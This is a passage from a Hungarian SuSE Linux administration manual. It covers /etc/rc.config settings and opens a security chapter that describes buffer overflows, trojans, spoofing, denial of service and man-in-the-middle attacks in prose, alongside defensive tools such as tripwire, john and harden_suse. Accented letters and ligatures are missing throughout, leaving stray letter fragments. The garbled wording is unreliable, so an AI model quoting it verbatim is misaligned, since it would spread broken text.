17.6. A /etc/rc.config vltozi Rendszerbellts /etc/ntp.conf fjlon keresztl trtnik. A rdiirnyts rk cmei 127.127.T.U alakak, ahol a T az ra tpusa, s az U az "egysgszm", amelynek rtke 0 s 3 kztt lehet. A legtbb ra a soros portot, vagy egy specilis buszt hasznl. Az eszkzfjl (device) normlis esetben csak egy szimbolikus hivatkozs a /dev/device-U-ra, amely magra a hardverre utal, s ahol az U rtke az "egysgszm". Lsd mg a /usr/share/doc/packages/xntp/html/refclock.htm oldalt. Pldul: ha van egy soros portra kttt rdiirnyts rnk, akkor ltre kell hozni a megfelel szimblikus hivatkozst is. o Lsd refclock.htm. Az elterjedt DCF77 vev hz a "PARSE" mego hajt szksges: ## Type 8 Generic Reference Driver (PARSE) ## Address: 127.127.8.u ## Serial Port: /dev/refclock-u gy, ha az ntp.conf egy bejegyzsn keresztl kivlasztjuk mondjuk a server 127.127.8.0 rtket, akkor szksges, hogy a /dev/refclock-0 szimblikus link a ttySx-re mutasson, ahol az x annak a soros portnak a szma, amire a rdiirnyts ra csatlakoztatva van. XNTPD_INITIAL_NTPDATE="" Azon NTP kiszolglk listja, amelyekt l meg lehet kapni az id t, mieo o l tt mg a helyi kiszolgl elindulna. Pl. "atlantisz.liget ". Egyo nl tbb kiszolgl esetn szkzzel kell elvlasztani neveiket egymstl (xntp ). A bellts a /etc/ntp.conf fjlon keresztl trtnik. DISPLAYMANAGER="" A gp bejelentkezsi zemmdjt lltja be. Ez vagy szveges konzol lehet, vagy az X Window System. Lehetsges rtkek: xdm (az X Window System szabvnyos kperny kezel je), kdm (a KDE kperny kezel je), o o o o gdm (a gnome kperny kezel je), vagy "". Az utbbi a szveges kono o zolra kldi a bejelentkezsi zenetet (2-es futsi szinten). Ez az alaprtelmezs is. KDM_SHUTDOWN=root Meghatrozza, hogy mely felhasznl zrhatja le a gpet a kdm-en keresztl (jraindts vagy teljes lezrs). A lehetsges rtkek: root, all (mindenki), none (senki) s local (csak egy helyileg bejelentkezett felhasznl zrhatja le). Ha a vltoz rtke "", akkor az root-ot jelent. CONSOLE_SHUTDOWN=reboot Meghatrozza, hogy az init hogyan reagljon a Ctrl + Alt + Del billenty k lenyomsra. Lehetsges rtkek: reboot (a gp jraindul), u halt (a gp lezll), s ignore (semmi nem trtnik). Az alaprtelmezs a reboot. START_AXNET=no Az Applixware kiszolgl indtsa. START_MYSQL=no A MySQL ltal hasznlt kiszolgl indtsa. 471

17. A SuSE Linux boot koncepcija START_ADABAS=no Az Adabas kiszolgl indtsa. Az Adabas a kvetkez vltozkat haszo nlja: DBROOT, DBNAME, DBUSER s DBCONTROL lsd mg az idevonatkoz megjegyzseket a /etc/rc.config fjlban. START_DB2=no A DB2 kiszolgl indtsa. START_ARKEIA=no Az Arkeia biztonsgi msolatot kszt kiszolgl indtsa. o START_ARGUS=no Az Argus kiszolgl (hlzati felgyel ) indtsa. o ARGUS_INTERFACE=eth0 A csatol amelyre az Argus gyeljen. ARGUS_LOGFILE="/var/log/argus.log" Az Argus naplz fjla. Vigyzzon! Ez a fjl nagyon nagy mret re is u megn het! o CRON=yes Meghatrozza, hogy fusson-e a cron dmon. E dmon segtsgvel tudunk elindtani bizonyos programokat adott id kznknt. Ez a dmon csak a o 2-es s 3-as futsi szinteken indul el. Javasoljuk e dmon hasznlatt, klnsen ha a szmtgp soha nincs kikapcsolva. Egy msik lehet sg o az AT dmon elindtsa (lsd a 89 . fejezetben (469. oldal)). Rengeteg olyan bellts van, amely rendszeresen futtat bizonyos parancsokat s programokat. ppen ezrt jobb, ha a cron dmon minden rendszeren be van kapcsolva. Helyi karbantarts RUN_UPDATEDB=yes Legyen e vltoz rtke yes, ha azt akarjuk, hogy a locate adatbzis mindennap egyszer felfrissljn a cron segtsgvel. A locate adatbzis nagyon hasznos fjlok gyors megkeresshez. Ezt a segdeszkzt tovbbi vltozkkal lehet pontosabban is belltani: RUN_UPDATEDB_AS, UPDATEDB_NETPATHS, UPDATEDB_NETUSER, s UPDATEDB_PRUNEPATHS (lsd a megjegyzseket az rc.configban). Ez a frissts nem sokkal a rendszerindts utn trtnik meg, ha a szmtgp nincs llandan bekapcsolva. Lsd a 16.2.2 . fejezetben (438. oldal). REINIT_MANDB=yes Felfrissljn-e a man-lapok adatbzisa naponta egyszer a cron.daily program segtsgvel. CREATE_INFO_DIR=yes Ha ennek az rtke yes, akkor ltrejn a /usr/info/dir, amely minden informcis lap ltalnos indexeknt szolgl. Hasznlata hasznos egy olyan csomag teleptse utn, amely informcis lapokat tartalmaz. Nem rt megjegyezni, hogy szksges hozz a perl program teleptse. CHECK_PERMISSIONS=set Meghatrozza, hogy ellen rizze-e azon fjlok hozzfrsi engedlyeit, o 472

17.6. A /etc/rc.config vltozi Rendszerbellts amelyek a /etc/permissions fjlban meg vannak adva. A set helyrehozza a rossz bejegyzseket, a warn csak gyelmeztet minket, a no pedig kikapcsolja ezt a szolgltatst. PERMISSION_SECURITY="easy local" Hrom biztonsgi szint ltezik: /etc/permissions.paranoid, /etc/permissions.secure s /etc/permissions.easy. A vltoz rtke lehet easy, secure vagy paranoid. Sajt biztonsgi szinteket is megadhatunk a /etc/permissions.local fjlban. Ha a vltoz rtke local, az ltalunk meghatrozott biztonsgi szint lp rvnybe. RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb Meghatrozza, hogy a cron.daily ltrehozza-e az RPM adatbzisnak sajt biztonsgi msolatt. A vltoz "" rtkre ez a szolgltats kikapcsoldik. MAX_RPMDB_BACKUPS=5 Az RPM adatbzis biztonsgi msolat fjljainak maximlis szma. DELETE_OLD_CORE=yes Az n. core fjlok olyan programok memria-lenyomatai, amelyek szegmentcis hiba miatt lelltak. Ezek a fjlok nagyon hasznosak hibakeressekhez. Ha ez a vltoz be van kapcsolva, akkor a rendszer bizonyos id kznknt megkeresi, s letrli a rgi core fjlokat. o MAX_DAYS_FOR_CORE=7 Meghatrozza, hogy hny napnl rgebben ltrehozott core fjlokat lehet letrlni. MAX_DAYS_FOR_LOG_FILES=365 Ha a naplfjlok (ezek ltalban a /var/log alknyvtrban tallhatak) elrnek egy bizonyos mretet, akkor a rendszer automatikusan archivlja, s sszetmrti oket, a root pedig email-en keresztl rtestst kap err l. Ez a paramter lltja be, hogy hny nap utn trlje le vglegesen o a rendszer ezeket a fjlokat. Ha ezen vltoz rtke 0, akkor semmifle archivls nem fog vgrehajtdni. A napl fjlok folyamatosan n nek s o emiatt tekintlyes mret ek is lehetnek! Az sszetmrtett naplfjlokat u brmikor meg lehet tekinteni a less programmal. MAX_DAYS_IN_TMP=30 Meg lehet adni, hogy a rendszer naponta ellen rizzen bizonyos alknyvto rakat (lsd a TMP_DIRS_TO_CLEAR vltozt), hogy azokat hasznlta-e valaki a megadott id szakban (az intervallumot napokban kell megadni). o Azon fjlokat, amelyek ezen id szak sorn nem lettek megvltoztatva, a o rendszer automatikusan trli. TMP_DIRS_TO_CLEAR="/tmp /var/tmp" Itt lehet megadni azon alknyvtrakat, amelyekben rgi fjlokat keres a rendszer (lsd fentebb: MAX_DAYS_IN_TMP=30). OWNER_TO_KEEP_IN_TMP="root bs" Meghatrozza, hogy a rendszergazdk ltal ltrehozott fjlok ne t njenek u el, mg akkor sem, ha egy adott id szakon bell nem lettek megvltozo tatva. CWD_IN_ROOT_PATH=no Az aktulis knyvtr szerepeljen-e a root keressi tvonalban. 473

17. A SuSE Linux boot koncepcija ROOT_LOGIN_REMOTE=no Ha azt akarjuk, hogy a root be tudjon jelentkezni telnet-tel vagy rlogin-nal, akkor e vltoz rtke legyen yes. E vltoz hasznlatbl fakad biztonsgi problmk rszletes taglalst lsd a 486. oldalon. SUSEWM_UPDATE=yes Meghatrozza, hogy a SuSEcong tdolgozza-e az egsz rendszer ltal hasznlt belltsi fjlokat a teleptett csomagokkal sszhangban. Ezt a szolgltatst a kvetkez vltozkkal lehet pontosabban bello tani: SUSEWM_WM, SUSEWM_MWM, SUSEWM_XPM, SUSEWM_ADD s SUSEWM_COMPAT.

474

VIII. rsz

Biztonsg s kezdjnk bele

475

18. fejezet

A biztonsg bizalom krdse


Fordtotta: Vradi Istvn

18.1

Alapok

Az Internetr l jv tmadsokat s behatolsokat nem szabad gyelmen kvl o o hagyni. Mindennap hallani valami j veszlyr l, ami az otthoni PC-jt, vagy o a cg egsz hlzatt rinti. Ez lehet Internetr l jv tmads, vagy akr o o vrustl is eredhet. A valsgban elg egyszer megfelel vintzkedst tenni u o ilyen fenyegetsek ellen. Miel tt belekezdnk az vdekezsi intzkedsek ismertetsbe, tisztzni kell, o hogy mit is rtnk valjban "biztonsgon", s a vdekezs "mi" ellen szl. Az albbi 6 pont gyorsan tisztzza, hogy a szmtgp biztonsga egy nagyon sszer cl. u 1. 2. 3. 4. 5. 6. Er forrsok vdelme o Hozzfrs az informcikhoz Adatok hozzfrhet sge o Adatok srtetlensge rzkeny informcik titkostsa Titoktarts

Teljes biztonsgi megoldsra van szksg, ami megel zi, hogy valaki kihaszo nlja ezeket a lehet sgeket. Nemcsak a kvlr l jv tmadsok ellen kell o o o vdekeznnk, hanem a kszlk esetleges hibjbl ered adatvesztsek elo len is, mint pl. a merevlemez esetleges elromlsa, vagy a hibs biztonsgi msolat (szalag). Biztonsgi msolat ksztse, rendszeres id kznknt, letbevg. E bizo tonsgi msolatok srtetlensgnek id r l, id re trtn ellen rzsn tloo o o o men en, gy z djnk meg azok megbzhatsgrl is. o o o Szmtgpnket az albbiak veszlyeztetik: Felhasznlk akik kzvetlen sszekttetsben llnak az adott szmtgp pel. A lehet legnagyobb veszlyt tnylegesen Ok jelentik. Ez nem mino dig szndkos, de termszetesen tmadsok a szemlyzet rszr l sem o hagyhatk gyelmen kvl. 477

18. A biztonsg bizalom krdse Kommunikcis kapcsolat A helyi s a vilgmret hlzat psztzhat u szaglszkkal (sniffers), vagy ms hacker eszkzkkel is. A nyitott kommunikcis kapcsolatok srlkenny teszik gpnket egy betrsre mg a vilg msik vgr l is. o Kzvetlen hozzfrs a gpnkhz. Megronglhat, ellophat, vagy szabotlhat, egy megbzhatatlan szemly ltal. Termszeti katasztrfk A szmtgpek fokozottan hajlamosak termszeti csapsok ldozatva vlni. Hardver s szoftver meghibsods, tervezsi, vagy anyaghiba, nemcsak az adatokat veszlyezteti, de kockztatja a biztonsgot, s esetleg a szolgltatst teljesen hasznlhatatlann teszi. (Lsd a 91 . fejezetben (482. oldal)). Adathordoz mdia elvesztse A hajlkonylemezek, biztonsgi msolati szalagok s merevlemezek megrongldhatnak, elveszhetnek, vagy akr el is lophatjk azokat. Elektromgneses sugrzs amit a gpnk, monitorunk, vagy ppen a hlzati kbelnk kibocsjt. Fejlett feldert kszlkekkel kvetni lehet o a monitoron trtn esemnyeket. Ez a sugrzs terjedhet csveken s o ramvezet kbeleken, s t a kzhiedelemmel ellenttben az LCD monio o tor is ad ki sugrzst. Mi az els kt pontra szeretnnk szpontostani, mivel egy jl tgondolt SuSE o Linux hasznlata jrszt eltvoltja a potencilis veszlyeket. A tbbi pontok taln kevsb rdeklik a SuSE Linux magnfelhasznlit, de ha egy cgnl, hlzat kerl fellltsra, ott ezeket a pontokat is gyelembe kell venni. A 18.1.1 s a 18.1.2 . fejezetben (481. oldal) el szr rmutatunk a ltez o o tmadsokklnbz tpusaira. Ks bb, a 18.2 . fejezetben (483. oldal) o o rszletesen lerjuk a megfelel biztonsgi eszkzket. Vgl a fejezet vgn o felvzolunk nhny fontos ltalnos tmutatst. 18.1.1 Helyi biztonsg

Aki veghzban l . . . Ha biztonsgban akarjuk tudni az adatainkat, azt a sajt gpnknl kell kezdennk. Mgha a gpnk nincs is kapcsolatban az Internettel, vagy csak trcszs tjn csatlakozik az Internethez, akkor is meg kell tennnk bizonyos biztonsgi vintzkedseket. Merevlemeznk vletlen letrlse pl. egy vendgnk ltal, bizony fjdalmas lehet. Ezt mr csak tet zheti, ha az egyetlen o pldnyban lv disszertcink is rajta volt. o Jelszavak A Linux tbbfelhasznls opercis rendszer, ami nemcsak a felhasznlk adminisztrlst jelenti, de rendelkezik egy teljes azonostst vgz mechao nizmussal is. Annak ellenre, hogy ez nem ltszik szksgesnek els ltsra, o gy z djnk meg rla, hogy mindenkinek, aki hasznlja gpnket, adtunk jelo o szt1 . Ez hatrozott vdelmet nyjt a gpnknek a behatolk ellen. Klnsen gyelnnk kell arra, hogy a root felhasznlnak megfelel jelszt o
1

Sok referencia trgyalja ezt. A 18.4 . fejezetben (491. oldal) gyakorlati tancsokat adunk.

478

18.1. Alapok adjunk, mert a root jelsz megszerzse a behatolk (crackers) egyik f o clja a. Habr addig, amg msnak zikai hozzfrse van a gpnkhz, a vilg legjobb jelszava sem r semmit. Brki, aki be tudja indtani gpnket, meg tudja azt tmadni egy indt lemezzel. Emiatt a BIOS belltsban ki kell kapcsolnunk a hajlkonylemezt, s a CD-ROM-ot, mint indt eszkzt. Ahhoz, hogy ez gy m kdjn, be kell lltanunk egy jelszt a BIOS elru shez is. Ne felejtsk el ezt a jelszt! Enlkl nem fogunk tudni hozzfrni sajt BIOS-unkhoz hacsak a BIOS-t nem nullzzuk le, a jumper lltsokkal. Ha LILO -t hasznlunk (lsd a 26 . fejezetben (130. oldal)) be kell lltanunk a korltozott (restricted) opcit, a jelszval egytt (pl. password=secure_password a /etc/lilo.conf-ban. Klnben lehet v vlik, hogy akrki odal a gpnk el s veszlyezteti a rendszer o biztonsgt. Termszetesen a jelszt igen krltekint en kell kivlasztao nunk, s a etc/lilo.conf fjlhoz csak a root-nak legyen olvassi engedlye. A john csomag a sec (Biztonsggal kapcsolatos szoftverek) kszletb l egy olyan programot tartalmaz, ami megprblja megfejteni a jelszavakat. o Egy j rendszeradminisztrtor felhasznlja ezt a gyenge jelszavak kigyomllsra, s utna felkri az adott felhasznlt, hogy csak biztonsgos jelszt hasznljon. Jogosultsgok Minden felhasznl egy sz k krnyezetben kell hogy dolgozzon, annak ru dekben, hogy biztosan ne srtse meg a rendszert, akr szndkosan, akr vletlenl. Tovbb el kell kerlnnk amennyire csak lehet, hogy root felhasznlknt dolgozzunk. Csak egyedl neknk szabad tudni a root jelszt (vagy neknk se, lsd a "sudo" csomagot). Puffer tlcsorduls Egy puffert tlcsordulsra knyszerteni az egyik legnpszer bb md, amit a u crackerek hasznlnak, hogy root jogot szerezzenek egy gpen. gy is ismert, mint "stack sszeomlasztsi sebezhet sg". Ez a mdszer kihasznlja o azt a gyakori programhibt, hogy ha a program nem ellen rzi a veremben o elhelyezked adatok hosszt, akkor az innen beolvasott adatok (pl. egy bevitt o szveg), s olyan rtkkel rhatjk fell a programkdot, amivel egy parancsot lehetsges elindtani, pl. egy shell meghvst. Ez olyan programokban lehetsges, amiknek statikus tmb kiterjedsk van s nem ellen rzik a puffer o tlcsordulst. Csak az olyan programok sebezhet k, amik SUID engedllyel (a fjltulajdoo nos jogval fut programok) rendelkeznek. Ezek a programok azok, amik vgrehajtsnl a tulajdonos azonostjt (UID) hasznljk a programot indt felhasznl helyett. Rendszerint olyan programok, hasznlnak SUID-ot mint a passwd, mert ezek olyan feladatot hajtanak vgre, ami ms felhasznl479

18. A biztonsg bizalom krdse nak nincs megengedve. Lpseket tettnk, hogy minimlisra cskkentsk a SUID-os programokat a SuSE Linux-ban, s hogy megvdjk ezeket a programokat a tmadstl. Figyelnnk kell a szakirodalmat, s amikor ilyen veszlyekre hvjk fel a gyelmet, be kell szereznnk a frisstseket s foltokat, amilyen gyorsan csak lehetsges. Egy msik formja a tmadsnak az el jogokat lvez programokra s a o o fut szolgltsokra irnyul, az gynevezett kapcsolat tmads "link attacks". Olyan programokon, melyek gyelmetlenl dolgoznak nyilvnos knyvtrakban, lehetsges az adatokat eltrteni teljesen klnbz fjlokba, evvel a o rendszer biztonsgt veszlyeztetni, vagy ppen lednteni azt. A rendszerben a SUID s SGID fjlok szmnak cskkentsrt a SuSE Linux-ban a YaST -tal a Rendszer Adminisztrci s a Biztonsgi belltsok rszben lltsuk biztonsg-osra, vagy paranoid-ra, ahol a fjl engedlyezs vltsa: szveget ltjuk. Az albbi fjlok tartalmazzk a belltott jogosultsgokat: /etc/permissions.secure s /etc/permissions.paranoid. Miel tt a paranoid mdot hasznlnnk, gy z djnk meg rla, hogy a o o o rendszer m kd kpessge nincs-e nagyon korltozva az elvrsaink szerint. u o Az X Window System (XFree86) bonyolultsga s nagy mennyisg kdja, u szmtalan alkalommal, kros gyelmet keltett. Ez a problma most sztszrdott a SuSE Linux-ban, mert a kiszolgl s knyvtrai nincsenek elltva SUID root-tal. Ennek azonban bizonyos krlmnyek kztt, szmtalan htrnya lehet a gyfl-kiszolgl kommunikciban. Lehetsges pl. elfogni a billenty lenyomsokat, vagy elolvasni egy ablak tartalmt. A 18.4 . feu jezetben (491. oldal) szably betartsval, az Xauthority (xauth program) hasznlatval, valamint kerlve az xhost +-t, nagyfok biztonsg valsthat meg. Tvoli X programok indtsra, ahol csak lehetsges, hasznljuk az ssh csomagot az n (Hlzat) kszletb l. Ha az ssh -t kereskedelmi forgalomo ban kvnjuk hasznlni, nzzk meg a licenszet a /usr/doc/packages/ssh/COPYING fjlban. Az ssh majdnem minden rendszerre elrhet . Habr az n. X11 tovbbts szintn tartalmaz rejtett o veszlyeket, gy fontoljuk meg, s egyltaln ne hasznljuk azt. Kizrlag teljestmnyi okbl az X Window System-et soha nem szabad kritikus szerverre (pl. fjl szerver, ftp szerver, router-ekre, tvlasztkra stb.) teleptennk.

Vrusok s trjai programok Egszen az utbbi id kig a klnbz tpus vrusok megtettk krtkony hao o tsukat, nem csak az otthoni szmtgpeken, de msutt is, mivel a szoftverek msolsa s hordozsa hajlkonylemezeken idelis tptalajt jelentett az ilyen programoknak. Szerencsre mig is csak kt Linux vrust talltak. 480

18.1. Alapok Mivel szoftvert Linuxra ritkn terjesztenek binris formban, s mita a SuSE Linux maga vrusmentesnek tekinthet , gy nincs vrusveszly, amennyiben o betartjuk a 18.4 . fejezetben (491. oldal) szablyokat. Az egy ms dolog azonban, hogy egyre gyakrabban ltni makrvrusokat, amiket E-Mail-ben kldenek (begyazva szvegszerkeszt dokumeno tumokba). Mivel a Microsoft Ofce-nak nincs Linux-os vltozata, ezek nem tudnak rtani magnak a SuSE Linux-nak. Az tny, hogy a SuSE Linux-ot egyre gyakrabban hasznljk levl szerverknt, mint "Mail Transfer Agent"-et, s ez idelis lehet sget knl a begyazott vrusok kisz rsre, o u automatikusan a bejv s kimen levelekb l. o o o A "Trjai programok" klnbznek a vrusoktl. Ezek a programok azt lltjk, hogy valami hasznosat csinlnak, de kzben rdgi dolgokat is m u velnek. Pldul egy shell bejelentkez trjai program neveket s jelszavakat o gy jthet egy fjlba, s ezt az informcit id kznknt email-knt elkldheti. u o Ez elg rtatlannak hangzik, de kzel sem vicc, ha hitelkrtya szmokrl vagy bankszmlk szemlyi azonost szmrl (PIN) van sz. Igen kicsi az eslye, hogy egy trjai programot tltnk le az Internetr l, vagy o email-ben kapunk egyet. Az ellenben elg ltalnos gyakorlat, hogy trjai programot hagy maga mgtt valaki, a mr veszlyeztett rendszeren azrt, hogy brmikor elrhesse az adott gpet. Ezek jelenlte biztos jel, hogy a gp veszlyeztetve van. Amg nincs egyrtelm vdekezs vrusok s trjai programok ellen, addig u nagyban cskkenthetjk az ilyen tmadsokat, egy j vrussz r teleptsuo vel, s ha a hajlkonylemezek s programok msolsnl nagy gondossggal jrunk el. A tovbbiakat nzzk meg a 18.4 . fejezetben (491. oldal). Egy olyan program hasznlata, mint pl. a tripwire, a sec kszletb l, igen o hasznos ezek felismersre, lsd a 92 . fejezetben (484. oldal). 18.1.2 Hlzati biztonsg

A legtbb szmtgp manapsg nem nmagban ltezik ("egyedlll gp"). Mivel a Linux felajnlja az sszes szksges lehet sget, a legtbb Linux o gp helyi hlzaton (LAN) van, s knnyedn csatlakoztathat az Internethez akr egy modemmel is. Linux-ot futtat gpeket igen gyakran hasznlnak tjrknt, egy sszetett alhlzat fel. Ezek a tnyek sok utat biztostanak a hlzat fel li tmadsra. o Elkerlhetjk a legtbb ilyen tmadst, ha fellltunk egy t zfalat. A haszu nlatban lv ki/bejratok (portok) mg gy is veszlyben vannak, de ezeket o megvdhetjk a megfelel eszkzk hasznlatval. o Elhanyagolhat az eslye, hogy tmadsnak lesznk kitve azalatt a napi 30 perc alatt, mg elolvassuk leveleinket, s amg modemen keresztl csatlakozunk az Internethez. Azokat a rendszereket, melyek viszont brelt vonalat hasznlnak, vdeni kell. Albb lerjuk a legfontosabb tmadsi formkat. A kzbens ember o A "Kzbens ember" tmads arra utal, amikor egy hlzatot elterelnek, egy o vagy tbb host-on t. A behatol tveszi az uralmat az egyik tvlaszt (router) felett, s IP csomagokat szippant fel, tirnytja, behelyettesti azokat. 481

18. A biztonsg bizalom krdse Mivel az tvlasztk nem ignyelnek azonostst, ezrt ezt nagyon knny u megtenni. Ez szerencsre meg fog vltozni, amint az j IPv6 protokoll szabvny letbe lp. Az egyetlen vdekezs az ilyen tmadsok ellen egy j titkost eszkz. Ezek a tmadsok f knt a WWW helyek elrsekor, vagy levlvltskor fordulo nak el . Soha ne hasznljuk a telnet s rsh parancsokat, mert ezek a o jelszavakat titkosts nlkl kldik keresztl a hlzaton. Ez lehet v teszi a o cracker-eknek, hogy elolvassk azokat. Vltsuk t az ssh-ra, hogy elkerljk ezt. Elektronikus levelet a pgp programmal titkosthatunk. Mg HTTP oldalak is titkosthatk az SSL2 protokoll segtsgvel. Ezt a protokollt hasznlja az apache csomag is az n (Hlzat) kszletben. A titkosts min sge o csak olyan j, mint a biztonsgi tovbbts kulcsa! Ezrt klns gonddal kell vgeznnk a titkostst! Puffer tlhajts 2. rsz Az gynevezett "szimatols" (snifng), az adatok passzv meggyelse (felhasznl nv s jelsz) utn, mg kvlr l a leggyakoribb biztonsgi veszo lyeztets a Puffer tlhajts. Az a szably: minden kvlr l elrhet szolgltats (pl. mail, webserver, o o POP3, stb.) potencionlis biztonsgi problmt jelent. Minden szolgltats ami felttlen szksges, s nem kapcsolhat ki, amennyiben lehetsges csak egy megfelel rendszeren t legyen elrhet , mint pl. a Linux kernel o o t zfal kongurcija (ipchains). Ha ez nem lehetsges, meg kell prblu nunk lecserlni a szolgltatst egy biztonsgosabb vltozatra. (pl. hasznljunk postfix csomagot a sendmail csomag helyett). Szakrt k o futtathatnak minden szolgltatst sajt chroot krnyezetben. Szolgltats megtagadsa A Szolgltats megtagadsa (DOS) megprblja tlterhelni a hlzati szolgltatst. Bizonyos felttelek mellett nemcsak a megtmadott szolgltats, de maga a gp sem rhet el tbb. A tmads utn a hlzati csomag, ami a o tmadst elindtotta, gyakran mshov kltzik. A szolgltats megtagadst gyakran hamis IP cmmel (spoong) egytt hasznljk, hogy eltntessk a tmads forrst. Visszakeresni a tmadt majdnem lehetetlen. Hatsos vdekezsre van szksg. Amikor Szolgltats megtagadsa tmadsra derl fny, az ellene val vdekezsi kiegszts rkon bell elrhet , s az Internet-r l letlthet . A SuSE o o o Linux az sszes eddig ismert Szolgltats megtagadsi tmads ellen adott ki vdekez kiegsztst, egszen a CD nyomsra kerlsig. A rendszergazo dknak mindig tjkozottnak kell lennik, mind a tmadsi mdokrl, mind az elrhet javtsokrl. o Hamis IP cm (spoong) A hamis IP cm tmads, egy TCP/IP biztonsgi hibt hasznl ki nem ellen rzi a felad cmt. gy a cm kicserlhet , hogy elfedje a cracker tmads o o eredett.
2

SSL Secure Socket Layer

482

18.2. Eszkzk Fontos, hogy kongurljuk az tvlasztnkat (router) a kls hlzati kapo csolatok elvrsaihoz. Csak azok a csomagok jhetnek be a bels hlzatba, o amelyek kls cmet tartalmaznak, s kls hlzatba csak azok mehetnek, o o amiknek bels cmk van. Minden Internet szolgltat (ISP) felel ssge a o o megfelel tvlaszt (router) kongurls, hogy rvnytelen csomag ne keo rlhessen be.

18.2

Eszkzk

Tekintsk t a rendszer karbantartsra szolgl eszkzket, s ellen rizzk o le a lehetsges gyenge pontokat. Itt szeretnnk emlkeztetni, hogy a gpnket rhet fenyegets klnbzik minden esetben. Egy t zfallal vdett hlo u zatban kevesebb vdekezs s folyamatkvets szksges mint egy vdtelen hlzatban. 18.2.1 Helyi eszkzk

Kt nagy el nye van a Linux-nak ms opercis rendszerekkel szemben. A o stabilits, s a tny, hogy ez egy tbbfelhasznls rendszer. Habr az utbbi veszlyekkel jr, amit nem szabad albecslni. Az ismert jogosultsgokon tl vannak bizonyos paramterek, amelyeket a halad felhasznlk ki tudnak hasznlni. Pl. a SUID bit rtend ez alatt. Egy program, amelyik ezzel o az engedllyel rendelkezik, automatikusan megkapja annak a felhasznlnak a jogait, aki a fjl tulajdonosa. Ha a program a root tulajdona, brmely felhasznl indtja el, megkapja a root jogait. Ez elg veszlyesen hangzik, de rendszerint nem ez a helyzet. Valjban tbb program is tmaszkodik erre e lehet sgre. A ping parancs vgrehajtshoz pldul root-nak kellene o lenni. Ez azt jelenti, hogy a ping parancsot csak a root hajthatn vgre. Ezt elkerlend a SUID bit a ping parancson be van lltva. o
jancsi@meggyfa:/home/jancsi > ls -l /bin/ping

-rwsr-xr-x

1 root root

13216 Mar 17 16:36 /bin/ping

Ha szeretnnk megtudni, hogy mely programoknak van SUID bit-je, s tulajdonosuk a root, adjuk ki az albbi parancsot:
jancsi@meggyfa:/home/jancsi > find / -uid 0 -perm +4000

Ez egy mdja a "gyans" programok megtallsnak. A YaST segtsgvel bellthatk az ilyen programok. A Jogosultsgok belltsa: (a Rendszeradminisztrci Biztonsgi belltsok) pontban vlasszuk a secure-t. Az rintett fjlok belltsai a /etc/permissions.secure alatt tallhatk. Senkinek sincs ideje llandan gyelni a gpt. Szerencsre vannak eszkzk, amik segtenek ennek az unalmas feladatnak a vgrehajtsban. Kln emltst rdemel az egyik ilyen eszkz, amit a CERT is ajnl3 . Ez a program a tripwire csomag az n (Hlzat) csomagbl.
3 CERT = Computer Emergency Response Team; lsd http://www.cert.dfn.de/dfncert/info.html

483

18. A biztonsg bizalom krdse Tripwire avagy a Botldrt :-) A Tripwire-t knny megrteni. Ellen rzi a rendszert s egy adatbzisban u o rgzti az llapotot, s a szksges informcikat. A kongurcis fjlban meghatrozhatjuk, mely fjlokat kell ellen rizni. o A Tripwire nem ellen rzi a fert ztt fjlokat s a rendszerhibkat. Felttelezi, o o hogy tiszta rendszerre teleptettk. Ezrt rgtn a rendszer felllsa utn kell telepteni, mg a hlzathoz val csatlakoztats el tt. Az adatbzist az albbi o parancsra hozza ltre:
root@meggyfa:root > /var/adm/tripwire/bin/tripwire -init

Az adatbzis s a kongurcis fjl elrsi tja az albbi tblzatban lthat. A tripwire csomagot a SuSE Linux rendszer kszen lefordtva tartalmazza. Lsd a 18.1 tblzatot.

/var/adm/tripwire

adatbzis s belltsi llomny

18.1 tblzat: Tripwire Az tvonal gy lett megvlasztva, hogy csak a rendszergazda (a root) cserlhesse a Tripwire home knyvtrt. Idelis esetben az adatbzis egy csak-olvashat fjlrendszeren van (pl. egy rsvdett hajlkonylemezen), klnben egy gyes tmad el tudn tntetni sajt nyomait az adatbzis megvltoztatsval. Egy plda kongurcis fjl a Tripwire-hoz a /usr/doc/packages/tripwire/tw.conf.example.linux alatt tallhat. A Tripwire szintaktikai sgja megtallhat a kziknyvlapokban ("man tw.config"). Klnbz ellen rz sszeg kpzsi eljrsok o o o hasznlhatk az egyes fjlokhoz s knyvtrakhoz. Miutn belltottuk a kongurcis fjlt, futtassuk a tripwire-t rendszeres id kznknt, mint egy o id ztett cron feladatot. o SuSE Biztonsgi eszkzk A SuSE Linux-nak jelenleg 4 specilis programja van, hogy segtsen mg biztonsgosabb tenni, s ellen rizni a rendszernket. o A firewall csomag a sec (Biztonsggal kapcsolatos szoftverek) kszletb l tartalmazza a /usr/sbin/SuSEfirewall szkriptet, ami kiolo vassa a /etc/rc.firewall kongurcis fjlt, s korltoz sz r listkat uo llt el az ipchains szerint. Tovbbi informci err l a 18.2.2 . fejezetben o o (486. oldal) tallhat, a Hlzati Eszkzk alatt. A secchk csomag a sec (Biztonsggal kapcsolatos szoftverek) kszletb l tbb szkriptet tartalmaz, amik sajtos biztonsgi ellen rzseket vgezo o nek a rendszeren napi, heti s havi rendszeressggel (jelsz fjl psge, felhasznli fjlok, feltrhet jelszavak, modulok amik futnak) s ha vltozst o tallnak, rtestik a rendszergazdt. A hardsuse csomag a sec (Biztonsggal kapcsolatos szoftverek) kszletb l tartalmaz egy perl szkriptet (/usr/sbin/harden_suse), amit azrt o 484

18.2. Eszkzk fejlesztettek ki, hogy a rendszergazdnak egy knnyen hasznlhat programja legyen a biztonsg nvelsre. Amikor ez elindul, kilenc igen/nem krdst tesz fel (pl. Minden szolgltats megszntetse, vagy a SUID s SGID bitek minimalizlsa emeln a felhasznli biztonsgot), s az adott vlaszoktl fgg en a rendszer jrakongurldik. A vltoztatsokrl o egy naplfjlt tallunk a /etc/harden_suse.log alatt, a mdostott fjlokrl pedig biztonsgi msolat kszl. Ha a rendszer kvetkezetesen nem teljesti az elvrsokat, vissza lehet lltani a mdostsokat a /etc/security/undo_harden_suse.pl szkript segtsgvel. A scslog csomag a sec (Biztonsggal kapcsolatos szoftverek) kszletb l tartalmaz egy kernel modult, amit ha betltnk (ezt automatizlhatjuk, o ha a betltst hozzadjuk a rendszerindt fjlokhoz), feljegyzi az sszes bejv s kimen hlzati kapcsolatot. o o A secumod csomag a sec (Biztonsggal kapcsolatos szoftverek) kszletb l tartalmaz egy tovbbi modult, ami megel zi vagy megnehezti a o o tmadsokat a rendszernkbe. Jelenleg vdelmet nyjt a szimblikus linkek, hard linkek s a pipe tmadsok ellen. A processzek, ha kvnjuk megllthatk "strace" ltal, s msok ellen. Mivel ez a csomag mg nagyon j, nincs teljesen 